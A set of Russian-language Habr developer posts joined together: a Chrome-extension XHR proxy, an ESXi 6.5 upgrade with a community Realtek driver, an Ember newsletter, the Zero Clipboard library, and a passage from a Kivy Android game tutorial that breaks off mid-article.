Т.е. для всех запросов нужна была обертка в виде функции, которая принимала параметры запроса в background’e, формировала сам запрос и по завершении вызывала CallBack. В интернете нашел единственное рабочее [решение](https://gist.github.com/romannurik/192538) – от romannurik и немного доработал его (для обработки POST запросов).
**часть Background - Xhrproxy.js**
```
var XHR_PROXY_PORT_NAME_ = 'XHRProxy_';
function setupXHRProxy() {
chrome.extension.onConnect.addListener(function(port) {
if (port.name != XHR_PROXY_PORT_NAME_)
return;
port.onMessage.addListener(function(xhrOptions) {
var xhr = new XMLHttpRequest();
xhr.open(xhrOptions.method || "GET", xhrOptions.url, true);
if ( xhrOptions.method=='POST' ) {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Content-length", xhrOptions.params.length);
xhr.setRequestHeader("Connection", "close");
}
xhr.onreadystatechange = function() {
if (this.readyState == 4) {
port.postMessage({
status: this.status,
data: this.responseText,
xhr: xhr,
url: xhrOptions.url,
post_data:xhrOptions.params
});
}
}
if ( xhrOptions.method=='POST' ) {
xhr.send(xhrOptions.params);
}else{
xhr.send();
}
});
});
}
function proxyXHR(xhrOptions) {
xhrOptions = xhrOptions || {};
xhrOptions.onComplete = xhrOptions.onComplete || function(){};
var port = chrome.extension.connect({name: XHR_PROXY_PORT_NAME_});
port.onMessage.addListener(function(msg) {
xhrOptions.onComplete(msg.status, msg.data, msg.xhr, msg.url, msg.post_data);
});
port.postMessage(xhrOptions);
}
setupXHRProxy();
```
**пример вызова из самого расширения:**
```
proxyXHR({
method : 'POST',
url : url,
params : post_data,
onComplete : CommentAll.loadComment
});
```
**и в файле manifest.json**
```
"background": {
"scripts": ["includes/xhrproxy.js"]
}
```
Если у кого есть решения лучше – буду рад выслушать, адекватная критика только приветствуется. Если тема разработки расширений интересна, то буду писать продолжение.
#### P.S.
Для удобства комментирования внедрена социальная авторизация для Вконтакта, Facebook’а и Twitter’а. Но комментарий можно оставить и анонимно. Да, есть конечно и небольшое ограничение обусловленное пока малой аудиторией расширения – комментарии и заметки будут видны только тем, у кого тоже стоит расширение. В дальнейшем, планируется расширение функционала расширения (простите за тавтологию), но на самом деле перед ним уже сейчас открыты и другие возможности.
Вот только примерные варианты применения:
• При просмотре объявлений (например, продажи автомобиля или квартиры), оставляя заметку после звонка или осмотра объекта (или увидеть уже существующий отзыв)
• При работе двух и более лиц над одним контентом, редактируя или обсуждая его на месте, чтобы не запутаться.
• Когда необходимо не афишировать сам факт переписки, общаясь при этом на не популярных сайтах.
• Использовать для квестов, разоблачений и может быть чего еще.
Добавить хотелось только то, что в расширении нет ни рекламы, ни другой монетизации. Чуть не забыл предупредить, работает самописный фильтр нецензурной лексики, преобразующий мат в синонимы, а иногда даже и в антонимы.
И **исключительно** для тех, кто читал статью с самого начала этот **исключительный** опрос. | https://habr.com/ru/post/252457/ | null | ru | null |
# Обновление домашнего стенда или «как побороть Realtek 8168 Gigabit Ethernet» в vSphere 6.5
Многие из нас/Вас, будь то сетевые администраторы, специалисты по виртуализации, разработчики или просто интересующиеся виртуализацией люди — имеют свой собственный домашний стенд с виртуализацией. И чаще всего гипервизором этого стенда является VMware ESXi.
В прошлом году была представлена новая версия гипервизора – ESXi 6.5, которая принесла нам много интересных новинок, которые хотелось бы «пощупать» (подробнее [тут](https://habrahabr.ru/company/cloud4y/blog/313652/) и [тут](https://habrahabr.ru/company/muk/blog/313806/), например).
Что же делать если наш «домашний стенд» построен на обычном «десктопном» железе в котором используется Realtek 8168 Gigabit Ethernet?
В независимости от того обновляетесь вы с предыдущей версии или же устанавливаете систему «с нуля» скорее всего вы увидите следующую картинку:
Данная картина выходит из-за того, что, начиная с версии 5.5 в гипервизоре нету драйверов под устройства семейства 8168… Более того!.. установить их взяв vib с более ранней версии – также невозможно (драйвер и его название находятся в Black листах самого гипервизора)
Для «обхода» такой несправедливости энтузиасты [vibsdepot.v-front.de/wiki/index.php/Welcome](https://vibsdepot.v-front.de/wiki/index.php/Welcome) создают собственные наборы драйверов для vSphere ESXi.
Ими то мы и воспользуемся!
Требования:
• Гипервизор ESXi не ниже версии 5.5
• Доступ ESXi хоста в интернет (временный) или скачанные пакеты драйверов
• DEPOT файлы, для обновления гипервизора (доступны на сайте вендора)
• SSH или ESXi Shell доступ к серверу
*Замечание: при обновлении с версии 5.1 необходимо учитывать, что vCenter 6.5 может подключать к себе ESXi версии не ниже 5.5. Последовательность обновления должна предусматривать промежуточную версию 5.5 или 6.0*
Приступим!
1) Проверим какие сетевые карты у нас установлены на данный момент:
```
~ # esxcli network nic list
Name PCI Device Driver Link Speed Duplex MAC Address MTU Description
------ ------------- ------ ---- ----- ------ ----------------- ---- -------------------------------------
vmnic0 0000:003:00.0 r8168 Up 1000 Full 1c:6f:65:43:fb:8a 1500 Realtek Realtek 8168 Gigabit Ethernet
vmnic1 0000:006:00.0 r8168 Down 0 Full 00:1f:1f:72:21:32 1500 Realtek Realtek 8168 Gigabit Ethernet
```
2) Переведём уровень доверия хоста к устанавливаемым пакетам до уровня CommunitySupported:
```
~ # esxcli software acceptance set --level=CommunitySupported
Host acceptance level changed to 'CommunitySupported'.
```
3) Разрешаем Http подключения от нашего сервера:
```
~ # esxcli network firewall ruleset set -e true -r httpClient
```
4) Проверяем доступность интернета (если не доступно – рекомендую выключить IPv6 на менеджмент интерфейсе и перезагрузить хост):
```
~ # ping ya.ru
PING ya.ru (2a02:6b8::3): 56 data bytes
sendto() failed (No route to host)
~ # ping ya.ru
PING ya.ru (213.180.193.3): 56 data bytes
64 bytes from 213.180.193.3: icmp_seq=0 ttl=56 time=21.050 ms
```
5) Устанавливаем необходимую нам версию драйверов:
```
~ # esxcli software vib install -d https://vibsdepot.v-front.de -n net55-r8168
Installation Result
Message: The update completed successfully, but the system needs to be rebooted for the changes to be effective.
Reboot Required: true
VIBs Installed: Realtek_bootbank_net55-r8168_8.039.01-napi
VIBs Removed: VMware_bootbank_net-r8168_8.013.00-3vmw.510.0.0.799733
VIBs Skipped:
```
6) ОБЯЗАТЕЛЬНО ПЕРЕЗАГРУЖАЕМ ХОСТ
7) Заливаем DEPOT файл на datastore (в моём случае datastore1). После заливки запускаем обновление (в моём случае до релиза 4564106).
```
~ # esxcli software profile update -d /vmfs/volumes/datastore1/VMware-ESXi-6.5.0-4564106-depot.zip -p ESXi-6.5.0-4564106-standard
Update Result
Message: The update completed successfully, but the system needs to be rebooted for the changes to be effective.
Reboot Required: true
```
8) Перезагружаемся и… профит!
Стучимся на [HOST\_FQDN\_or\_IP/ui](https://HOST_FQDN_or_IP/ui/) и наслаждаемся HTML5-интерфейсом. | https://habr.com/ru/post/321910/ | null | ru | null |
# The Ember Times — Выпуск 134
Привет, Эмберисты!
На этой неделе: Полифилы для пакетов ember-data для старых версий Ember, узнайте как Figma в связке со Storybook облегчает жизнь разработчика, QUnit DOM объявляет о выпуске v1.0, а также выход ember-changeset 3.0.0 !
*От переводчика: Все ссылки без пометки указывают на англоязычные ресурсы. На русском вопросы можно задать в нашем душевном [телеграмм-канале](https://t.me/ember_js)*
[Назад в будущее с пакетами ember-data polyfill](https://github.com/ember-data/babel-plugin-ember-data-packages-polyfill)
=========================================================================================================================
[API пакетов ember-data](https://emberjs.github.io/rfcs/0395-ember-data-packages.html) позволяет импортировать объекты и методы из небольших пакетов модуля ember-data, следуя рекомендациям, аналогичным тем, которые установлены в [Ember Modules RFC # 176](https://github.com/emberjs/rfcs/pull/176) *(прим. пер.: RFC — Request for comment)*. Имея реальные и разрешимые пути к пакетам, многие разработчики могут получить выгоду благодаря улучшенной справочной информации о коде в своей IDE. API пакетов ember-data доступен начиная [с версии 3.11](https://blog.emberjs.com/2019/07/15/ember-3-11-released.html).
Нет ничего лучше, чем новый блестящий API, который облегчит жизнь вашему разработчику. Еще лучше, если вы уже можете использовать этот API в своем приложении без какого-либо обновления! Пользователи **ember-data версии 3.10 и ниже** получают возможность воспользоваться новым способом импорта с помощью [полифилла пакетов ember-data](https://github.com/ember-data/babel-plugin-ember-data-packages-polyfill)!
Полифил (Polyfill) обеспечивает преобразование любых экземпляров операторов импорта API обратно в устаревший синтаксис импорта EmberData «DS». Вы можете начать использовать полифил в своем приложении, обновив зависимость ember-cli-babel до [версии 7.14](https://github.com/babel/ember-cli-babel/releases/tag/v7.14.0) или выше для этой [новой функции](https://github.com/babel/ember-cli-babel/pull/318).
Хотите узнать больше о том, как использовать новый синтаксис импорта пакетов для ember-data? Обязательно прочитайте статью о [выпуске Ember 3.11](https://blog.emberjs.com/2019/07/15/ember-3-11-released.html) еще раз, чтобы понять практические примеры кода, а также зайдите на канал [#ember-data на Ember Discord](https://discordapp.com/invite/emberjs), чтобы задать дополнительные вопросы.
[Figma в связке со Storybook облегчает жизнь разработчика](https://gos.si/blog/from-figma-to-ember-to-storybook-with-2-clicks/)
===============================================================================================================================
Томас Госсманн ([@gossi](https://github.com/gossi)) начал серию публикаций о Figma, Ember и Storybook. [Часть 1: Полнофункциональные темы в Figma](https://gos.si/blog/full-featured-themes-in-figma/) расскажут вам все о том, как организовать ваш дизайн в Figma.
Оставайтесь с нами для части 2 о дизайн-токенах и части 3 о документации в экосистеме Ember. Следите за [@unistyler](https://twitter.com/unistyler) в Твиттере, чтобы получать уведомления, когда они будут опубликованы.
Вы можете найти систему дизайна и код на [GitHub](https://github.com/gossi/hokulea).
[QUnit DOM объявляет о выпуске v1.0](https://twitter.com/TobiasBieniek/status/1223998561605627904)
==================================================================================================
[QUnit DOM](https://github.com/simplabs/qunit-dom) предоставляет читаемые утверждения (assertions) для QUnit и доступны в Ember начиная с версии 3.1. Если вы еще не пробовали QUnit DOM, мы рекомендуем [оценить его API](https://github.com/simplabs/qunit-dom/blob/master/API.md), чтобы увидеть, как вы можете упростить свои тесты.
На прошлой неделе компания QUnit DOM [объявила о выпуске версии 1.0](https://twitter.com/TobiasBieniek/status/1223998561605627904), чтобы отметить стабильность проекта. Мы благодарим Тобиаса Бьенека ([@Turbo87](https://github.com/Turbo87)) и всех, кто помогал с проектом!
В версии 1.0 вы можете использовать `цепочку утверждений`:
```
assert.dom('[data-test-input="Email"]')
.isRequired()
.hasAttribute('type', 'email')
.hasValue('zoey@ember.js');
```
Вы также можете попробовать новое утверждение `hasProperty`, чтобы проверить свойства DOM. Между `hasAttribute` (для проверки атрибутов HTML) и `hasProperty` (для свойств DOM) могут быть тонкие различия:
```
// Эти два утверждения эквивалентны.
assert.dom('[data-test-input="I Agree"]')
.hasAttribute('checked', '')
.hasProperty('checked', true);
// Эти три утверждения эквивалентны.
assert.dom('[data-test-button="Delete"]')
.hasClass('btn').hasClass('btn-red')
.hasAttribute('class', 'btn btn-red')
.hasProperty('className', 'btn btn-red');
```
Чтобы узнать больше о том, когда вы можете использовать `hasAttribute` или `hasProperty`, пожалуйста, посетите руководство на сайте [JavaScript.info](https://javascript.info/dom-attributes-and-properties).
[Вышел ember-changeset 3.0.0](https://twitter.com/puekey/status/1224340431644708864)
====================================================================================
Аддон [Ember-changeset](https://github.com/poteto/ember-changeset) официально выпустил
[версию 3.0.0](https://github.com/poteto/ember-changeset/blob/master/CHANGELOG.md#300-2020-02-02). Аддон предоставляет класс `Changeset`, который представляет набор возможных изменений для любого объекта (`Ember.Object`, `DS.Model`, `POJO` и т.д.). Идея состоит в том, что обновляются только внутренние значения набора изменений, пока мы не вызовем метод `save`, который установит и сохранит действительные изменения в привязанном объекте.
В этом выпуске требуется Ember 3.13 и выше, а использование `@tracked` поможет ember-changeset и распространению изменений на уровень пользовательского интерфейса. Если ваше приложение <3.13 или вам нужно поддерживать IE11, вам лучше установить версию 2.0. Посмотрите [видео вступление](https://www.emberscreencasts.com/posts/168-introduction-to-ember-changeset) от EmberScreencasts, и начните использовать ember-changeset сегодня!
Благодарности контрибьюторам
============================
На этой неделе мы хотели бы поблагодарить [@bobisjan](https://github.com/bobisjan), [@chancancode](https://github.com/chancancode), [@xg-wang](https://github.com/xg-wang), [@pzuraq](https://github.com/pzuraq), [@efx](https://github.com/efx), [@rwwagner90](https://github.com/rwwagner90), [@jenweber](https://github.com/jenweber), [@lifeart](https://github.com/lifeart), [@chadhietala](https://github.com/chadhietala), [@mansona](https://github.com/mansona) и [@pichfl](https://github.com/pichfl) за их вклад в Ember и связанные с ним репозитории!
Есть вопрос? Задавайте их используя форму вопросов от читателей!
================================================================
Хотите знать, что-то, связанное с Ember, Ember Data, Glimmer или аддонами в экосистеме Ember, но не знаете, где спросить? Для вас есть рубрика Вопросы читателей!
Отправьте свой собственный вопрос используя форму [bit.ly/ask-ember-core](https://bit.ly/ask-ember-core). И не волнуйтесь, глупых вопросов нет, мы ценим любые вопросы — честно!
`#embertimes`
=============
Хотите написать для Ember Times? Есть предложение для выпуска на следующей неделе? Присоединяйтесь к нам в [`#support-ember-times`](https://discordapp.com/channels/480462759797063690/485450546887786506) в [Ember Community Discord](https://discordapp.com/invite/zT3asNS) или напишите в директ [@embertimes в Твиттере](https://twitter.com/embertimes).
Будьте в курсе того, что происходит в мире Ember, подписавшись на нашу [еженедельную электронную рассылку](https://the-emberjs-times.ongoodbits.com/)! Вы также можете найти [наши сообщения](https://emberjs.com/blog/tags/newsletter.html) в блоге Ember.
Всем добра! И удачи!
Крис Нг, Анн-Грит ван Хервейнен, Исаак Ли, Джессика Джордан, Эми Лам и команда обучения
Предыдущий выпуск доступен [по ссылке](https://habr.com/ru/post/487846/), а следующий — [тут](https://habr.com/ru/post/488586/) | https://habr.com/ru/post/488462/ | null | ru | null |
# Копируем в буфер обмена в FireFox 3.5 и IE8
С приходом 10го флеша, ФФ3.5 и ИЕ8, на многих сайтах перестала работать волшебная кнопка «Скопировать в буфер». Перестала работать из соображений безопасности (что бы когда заходишь на какой либо сайт, у тебя в буфере не появилась левая ссылка, или рекламный текст, или злоумышленники не применили это фичу в других целях).
Сейчас ЕкшонСкрипт даёт скопировать в буфер обмена только при действии пользователя, то есть при клике по ролику (а ролик то можно сделать прозрачным ;). Этим и воспользовался [jhuckaby](http://code.google.com/u/jhuckaby/) при создании своего скрипта [Zero Clipboard](http://code.google.com/p/zeroclipboard/).
#### Посмотреть демо:
* [Простой тест с дебагом](http://bowser.macminicolo.net/~jhuckaby/zeroclipboard/)
* [Множественное применение](http://bowser.macminicolo.net/~jhuckaby/zeroclipboard/multiple.html)
* [Копирование сорса HTML](http://bowser.macminicolo.net/~jhuckaby/zeroclipboard/innerhtmlclick.html)
Скрипт работает во всех современных браузерах.
Проверено в ФФ3.5, ИЕ8, ИЕ8(мод7), Хром3, Опера10б2, Сафари4. Поддержка флеш 9 и 10.
#### Суть:
После того, как мы с помощью JS, инициализируем скрипт, укажем путь к **ZeroClipboard.swf** и создадим клиент для копирования, мы можем смело заносить в буфер по клику, любую информацию.
Но скрипт этим не ограничен, у него есть чудесные свойства (методы):
* приклеивание к DOM элементу (Gluing) — то бишь, мы указав айди элемента, приклеиваем поверх него флешку (она копирует в буфер), которая автоматически подстроится под размер элемента;
* ксс эффекты — скрипт подсвечивает элемент, на который подвешена кнопка, создавая сабклассы «hover», «active» (аля псевдо). Их можно изменить на своё усмотрение в CSS;
* возможность задать собственное представление — это на случай, если нужно создать кастомный прямоугольник, и не нужно никуда клеить флешку;
* и ещё он может рулить стандартными событиями (onLoad, onMouseOver, onMouseOut, onMouseDown, onMouseUp, onComplete).
О этом и многом другом, чудесно [викирасписано](http://code.google.com/p/zeroclipboard/wiki/Instructions)
#### Пример
> `<html>
>
> <body>
>
>
>
> <script type="text/javascript" src="ZeroClipboard.js">script>
>
>
>
> "d\_clip\_button" style="border:1px solid black; padding:20px;">Copy To Clipboard` | https://habr.com/ru/post/64767/ | null | ru | null |
# Разработка игры под Android на Python на базе Kivy. От А до Я: подводные камни и неочевидные решения. Часть 1
Некоторое время тому назад я решил попробовать написать что-то на Python под Android. Такой странный для многих выбор обусловлен тем, что я люблю Python и люблю Android, а ещё люблю делать необычное (ну хорошо, *не самое обычное*). В качестве фреймворка был выбран [Kivy](https://kivy.org/) — фактически, безальтернативный вариант, но он мне очень понравился. Однако, по нему не так уж много информации (нет, документация отличная, но иногда её недостаточно), особенно на русском языке, а некоторые вещи хоть и можно реализовать, но их то ли никто раньше не делал, то ли не счёл нужным поделиться информацией. Ну а я счёл :) И этот пост тому результатом.
Под катом я расскажу обо всех этапах разработки, о том, как развивалась простая идея и как для этого приходилось искать новые возможности, о возникших подводных камнях и багах, о неочевидных решениях и устаревшей документации :) Цель — описать в одном тексте основные пункты, чтобы человеку, решившему написать что-то немного сложнее игры Pong из официального туториала, не приходилось перерывать официальный форум поддержки и StackOverflow и тратить часы на то, что делается за пару минут, если знаешь, как.
### 0. Если вы впервые слышите о Kivy...
… то всё зависит от того, любите ли вы Python и Android, и интересно ли вам в этом разобраться. Если нет — проще забить :) А если да, то начать нужно с [официальной документации](https://kivy.org/docs/api-kivy.html), [гайдов](https://kivy.org/docs/gettingstarted/intro.html), и уже упомянутого официального [туториала по игре Pong](https://kivy.org/docs/tutorials/pong.html) — это даст базовое представление о фреймворке и его возможностях. Я же не буду останавливаться на столь тривиальных вещах (тем более, для понимания базовых принципов туториал отлично подходит) и сразу пойду дальше. Будем считать, что это было вступление :)
### 1. Немного о моей игре
Для начала нужна была идея. Мне хотелось что-то достаточно простое, чтобы оценить возможности фреймворка, но и достаточно интересное и оригинальное, чтобы не программировать ради программирования (это здорово, но когда это не единственная цель — это ещё лучше). Я неплохо проектирую интерфейсы, но не умею рисовать, поэтому игра должна была быть простая графически, или вообще текстовая. И тут так уж сложилось, что у меня есть заброшенный сайт с цитатами, с которого я когда-то начинал свой путь в web-разработке (я о нём даже писал на Хабре много лет назад). Поэтому идея возникла такая: игра-викторина «Угадай цитату». В русскоязычном Google Play ничего подобного не было, а в англоязычном была пара поделок низкого качества с сотней скачиваний.
Почти сразу же стало понятно, что просто так отгадывать цитату за цитатой — скучно. Так появились первые «фишки», которые, в итоге, и определили итоговую игру. В первую очередь это были тематические пакеты (то есть пакеты цитат, объединённые одной темой или автором) и баллы (которые начисляются за отгадывание цитат и прохождение пакетов, и тратятся на подсказки и разблокировку новых тем), а также статистика, достижения и избранное.
**Немного картинок**Так всё начиналось (кликабельно):
[](https://habrastorage.org/webt/ai/jm/sx/aijmsx5cmus98d1-7n_1yzq4ilk.png) [](https://habrastorage.org/webt/vs/rk/mp/vsrkmp7imzgfrfo01gexcraiblk.png) [](https://habrastorage.org/webt/ep/tv/x8/eptvx8udxjrkomf4az3ew3m9lug.png)
Ну ладно, ладно, больше не буду показывать такой ужас :) Кстати, вот так оно выглядит сейчас (тоже кликабельно, скрины взяты с Google Play):
[](https://habrastorage.org/webt/z0/cy/xx/z0cyxxobajp_nrob__jtubn4fme.png) [](https://habrastorage.org/webt/_k/6f/bt/_k6fbtogzkpm-d7cnuzms7cjnzg.png) [](https://habrastorage.org/webt/5c/iw/uv/5ciwuv6c9rsk-ll7korfaz5pr2a.png)
Первые проблемы начались с первого же экрана…
### 2. Kivy тормоз или я что-то делаю не так?
Один мой друг любит отвечать на такие вопросы «да» :) На самом деле, некоторые вещи в Kivy действительно работают медленно, например, создание виджетов. Но это не значит, что это дело нельзя оптимизировать. Об этом я и расскажу.
Так как цитаты и темы хранятся в БД, то, само собой, кнопки с пакетами генерируются динамически. И вот тут-то я обнаружил, что происходит это очень медленно: примерно полсекунды на список из 20 кнопок. Возможно, это и не очень много при загрузке приложения, но при переходе на главный экран из других внутренних экранов приложения — непозволительно много. Здесь стоит отметить, что кнопка к тому моменту уже представляла собой, на самом деле, набор из нескольких элементов, визуально составляющих одну кнопку:
Первым моим побуждением было тем или иным образом закешировать их, и, действительно, опыт показал, что если создать все виджеты заранее, и сохранить их как свойство объекта StartScreen, то всё (кроме первой генерации) работает достаточно быстро. Однако же, данные в кнопках нужно периодически обновлять (хотя бы то же количество отгаданных цитат). Да и загрузку новых пакетов я уже тогда планировал. Конечно, не проблема реализовать и это, но я решил не изобретать велосипед и подумать.
Сначала стоило убедиться, что проблема именно в создании виджетов, поэтому я за несколько минут набросал простенькое приложение на два экрана, в каждом из которых генерировался набор строк из лейбла и чекбокса количеством 50 шт. :)
**Исходный код тестового приложения**main.py:
```
from kivy.app import App
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.uix.boxlayout import BoxLayout
from kivy.properties import ObjectProperty, StringProperty
from kivy.clock import Clock
from time import time
class ListScreen(Screen):
items_box = ObjectProperty(None)
def on_enter(self):
start = time()
for i in range(0,50):
self.items_box.add_widget(ListItem('Item '+str(i)))
self.items_box.bind(minimum_height=self.items_box.setter('height'))
print time()-start
def on_leave(self):
self.items_box.clear_widgets()
class ListItem(BoxLayout):
title = StringProperty('')
def __init__(self, title, **kwargs):
super(ListItem, self).__init__(**kwargs)
self.title = title
class ListApp(App):
sm = ScreenManager()
screens = {}
def build(self):
self.__create_screens()
ListApp.sm.add_widget(ListApp.screens['list1'])
Clock.schedule_interval(self._switch, 1)
return ListApp.sm
def _switch(self, *args):
ListApp.sm.switch_to(ListApp.screens['list1' if ListApp.sm.current != 'list1' else 'list2'])
def __create_screens(self):
ListApp.screens['list1'] = ListScreen(name='list1')
ListApp.screens['list2'] = ListScreen(name='list2')
if __name__ == '__main__':
ListApp().run()
```
list.kv:
```
:
items\_box: items\_box
BoxLayout:
orientation: "vertical"
AnchorLayout:
size\_hint\_y: 0.1
padding: self.width\*0.1, self.height\*0.05
Label:
font\_size: root.height\*0.05
text: "Some list"
ScrollView:
size\_hint\_y: 0.9
size: self.size
BoxLayout:
id: items\_box
orientation: "vertical"
padding: self.width\*0.1, 0
size\_hint\_y: None
:
orientation: "horizontal"
size\_hint\_y: None
height: app.sm.height\*0.1
Label:
font\_size: app.sm.height\*0.025
text: root.title
size\_hint\_x: 0.9
text\_size: self.size
valign: "middle"
CheckBox
size\_hint\_x: 0.1
```
Запустил на своём стареньком Moto G (gen3) и получил:
```
11-28 11:44:09.525 1848 2044 I python : 0.5793800354
11-28 11:44:10.853 1848 2044 I python : 0.453143119812
11-28 11:44:12.544 1848 2044 I python : 0.633069992065
11-28 11:44:13.697 1848 2044 I python : 0.369570970535
11-28 11:44:14.988 1848 2044 I python : 0.594089031219
```
И далее в том же духе. Поиск по этому вопросу ничего не дал, поэтому я обратился к разработчикам. И получил ответ: «Создание виджетов относительно медленное, особенно в зависимости от того, что они содержат. Для создания больших списков лучше использовать RecycleView». Здесь хочу пояснить, почему я вообще описываю этот момент, ведь описание RecycleView [есть в документации](https://kivy.org/docs/api-kivy.uix.recycleview.html). Да, действительно, есть, но мало кто способен изучить и запомнить всю документацию перед тем, как начнёт разработку, и найти нужный инструмент бывает непросто, особенно если он нигде не описан в контексте решения конкретной проблемы. Теперь же он описан :)
**Исходный код тестового приложения с RecycleView**main.py:
```
from kivy.app import App
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.properties import ObjectProperty
from kivy.clock import Clock
from time import time
class ListScreen(Screen):
recycle_view = ObjectProperty(None)
items_box = ObjectProperty(None)
def on_enter(self):
start = time()
for i in range(0,50):
self.recycle_view.data.append({'title': 'item'+str(i)})
print time()-start
def on_leave(self):
self.recycle_view.data = []
class ListApp(App):
sm = ScreenManager()
screens = {}
def build(self):
self.__create_screens()
ListApp.sm.add_widget(ListApp.screens['list1'])
Clock.schedule_interval(self._switch, 1)
return ListApp.sm
def _switch(self, *args):
ListApp.sm.switch_to(ListApp.screens['list1' if ListApp.sm.current != 'list1' else 'list2'])
def __create_screens(self):
ListApp.screens['list1'] = ListScreen(name='list1')
ListApp.screens['list2'] = ListScreen(name='list2')
if __name__ == '__main__':
ListApp().run()
```
list.kv:
```
:
recycle\_view: recycle\_view
items\_box: items\_box
BoxLayout:
orientation: "vertical"
AnchorLayout:
size\_hint\_y: 0.1
padding: self.width\*0.1, self.height\*0.05
Label:
font\_size: root.height\*0.05
text: "Some list"
RecycleView:
id: recycle\_view
size\_hint: 1, 0.9
viewclass: "ListItem"
RecycleBoxLayout:
id: items\_box
orientation: "vertical"
padding: self.width\*0.1, 0
default\_size\_hint: 1, None
size\_hint: 1, None
height: self.minimum\_height
:
orientation: "horizontal"
size\_hint: 1, None
height: app.sm.height\*0.1
title: ''
Label:
font\_size: app.sm.height\*0.025
text: root.title
size\_hint\_x: 0.9
text\_size: self.size
valign: "middle"
CheckBox
size\_hint\_x: 0.1
```
```
11-29 13:11:58.196 13121 13203 I python : 0.00388479232788
11-29 13:11:59.192 13121 13203 I python : 0.00648307800293
11-29 13:12:00.189 13121 13203 I python : 0.00288391113281
11-29 13:12:01.189 13121 13203 I python : 0.00324606895447
11-29 13:12:03.188 13121 13203 I python : 0.00265002250671
```
Более чем в 100 раз быстрее. Впечатляет, не правда ли?
В завершение следует упомянуть, что RecycleView — не панацея. Он не подходит, если размер элемента зависит от содержимого (например, Label, размер которого меняется в зависимости от количества текста).
### 3. Сервисы. Автозапуск и перезапуск
Следующая проблема, с которой я столкнулся, не поддавалась решению так долго, что я уже малодушно подумывал счесть данный фреймворк непригодным и забить :) Проблема была с сервисами (в Android так называется процессы, выполняющиеся в фоновом режиме). Создать сервис не так уж и сложно — немного сбивает с толку устаревшая документация, но и только. Однако, в большинстве случаев, много ли толку от сервиса, который, во-первых, не запускается автоматически при загрузке телефона, а во-вторых, не перезапускается, если «выбросить» приложение свайпом из диспетчера задач? По-моему, нет.
На тот момент по этой теме была всего лишь одна статья в [официальной wiki](https://github.com/kivy/kivy/wiki/), но она, хоть и называлась «Starting Kivy service on bootup», на самом деле всего лишь рассказывала, как при загрузке телефона запустить *приложение*, но не его сервис (да, такое тоже бывает полезно, но значительно реже, как по мне). Ту статью я, в итоге, переписал, а здесь расскажу подробности.
Допустим, у нас есть примитивный сервис, который всего-то и делает, что периодически выводит в лог строку (этим мы заранее исключаем баги, которые могут возникать из-за особенностей самого сервиса).
```
from time import sleep
if __name__ == '__main__':
while True:
print "myapp service"
sleep(5)
```
Из приложения мы запускаем его методом основного класса при помощи [PyJnius](https://github.com/kivy/pyjnius):
```
from jnius import autoclass
# ... #
class GuessTheQuoteApp(App):
# ... #
def __start_service(self):
service = autoclass('com.madhattersoft.guessthequote.ServiceGuessthequoteservice')
mActivity = autoclass('org.kivy.android.PythonActivity').mActivity
service.start(mActivity, "")
```
Если APK [собран правильно](http://python-for-android.readthedocs.io/en/latest/services/#arbitrary-service-scripts), при запуске приложения сервис будет стартовать, но этого недостаточно.
Для начала, попробуем сделать так, чтобы он перезапускался при остановке приложения (например, при снятии его из диспетчера задач). Конечно, можно было бы использовать [startForeground](https://developer.android.com/reference/android/app/Service.html#startForeground(int,%20android.app.Notification)), но это уже не совсем фоновое выполнение задачи :) Для него потребуется, как минимум, уведомление — это не всегда подходит. В данном случае идеально подходит флаг [START\_STICKY](https://developer.android.com/reference/android/app/Service.html#START_STICKY), но мы же пишем на Python, что делает задачу не столь тривиальной — по крайней мере, при помощи PyJnius она уже не решается.
Честно говоря, она вообще решается достаточно криво, поскольку я пока не готов становиться одним из разработчиков [Python4Android](https://github.com/kivy/python-for-android), благодаря которому всё это счастье вообще работает. А изменения нужно вносить именно в код Python4Android. А конкретно, нам нужен файл .buildozer/android/platform/build/dists/guessthequote/src/org/kivy/android/PythonService.java в котором в функции startType() мы меняем флаг START\_NOT\_STICKY на START\_STICKY:
```
public int startType() {
return START_STICKY;
}
```
Ура, сервис рестартится. Всё? Конечно, нет :) Потому что он тут же валится с ошибкой:
```
E AndroidRuntime: Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'android.os.Bundle android.content.Intent.getExtras()' on a null object reference
```
Проблема в функции onStartCommand(Intent intent, int flags, int startId), поскольку после перезапуска intent у нас null. Что ж, перепишем и её:
```
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (pythonThread != null) {
Log.v("python service", "service exists, do not start again");
return START_NOT_STICKY;
}
if (intent != null) {
startIntent = intent;
Bundle extras = intent.getExtras();
androidPrivate = extras.getString("androidPrivate");
androidArgument = extras.getString("androidArgument");
serviceEntrypoint = extras.getString("serviceEntrypoint");
pythonName = extras.getString("pythonName");
pythonHome = extras.getString("pythonHome");
pythonPath = extras.getString("pythonPath");
pythonServiceArgument = extras.getString("pythonServiceArgument");
pythonThread = new Thread(this);
pythonThread.start();
if (canDisplayNotification()) {
doStartForeground(extras);
}
} else {
pythonThread = new Thread(this);
pythonThread.start();
}
return startType();
}
```
Увы:
```
F DEBUG : Abort message: 'art/runtime/java_vm_ext.cc:410] JNI DETECTED ERROR IN APPLICATION: GetStringUTFChars received NULL jstring'
```
Проблема в том, что функция nativeStart() не получает нужных Extras. К сожалению, два из них мне пришлось захардкодить. В итоге выглядит это так:
```
@Override
public void run(){
String package_root = getFilesDir().getAbsolutePath();
String app_root = package_root + "/app";
File app_root_file = new File(app_root);
PythonUtil.loadLibraries(app_root_file);
this.mService = this;
if (androidPrivate == null) {
androidPrivate = package_root;
}
if (androidArgument == null) {
androidArgument = app_root;
}
if (serviceEntrypoint == null) {
serviceEntrypoint = "./service/main.py"; // hardcoded
}
if (pythonName == null) {
pythonName = "guessthequoteservice"; // hardcoded
}
if (pythonHome == null) {
pythonHome = app_root;
}
if (pythonPath == null) {
pythonPath = package_root;
}
if (pythonServiceArgument == null) {
pythonServiceArgument = app_root+":"+app_root+"/lib";
}
nativeStart(
androidPrivate, androidArgument,
serviceEntrypoint, pythonName,
pythonHome, pythonPath,
pythonServiceArgument);
stopSelf();
}
```
Теперь всё.
Перейдём к автозапуску сервиса при запуске телефона. После предыдущей проблемы это будет уже проще. *(На самом деле же всё было наоборот — я очень долго не мог понять, что именно нужно добавить, поскольку информации об этом не было вообще нигде, и сами разработчики тоже не знали, как решить данную задачу. И только разобравшись параллельно с вопросом перезапуска, я понял, что нужно сделать.)*
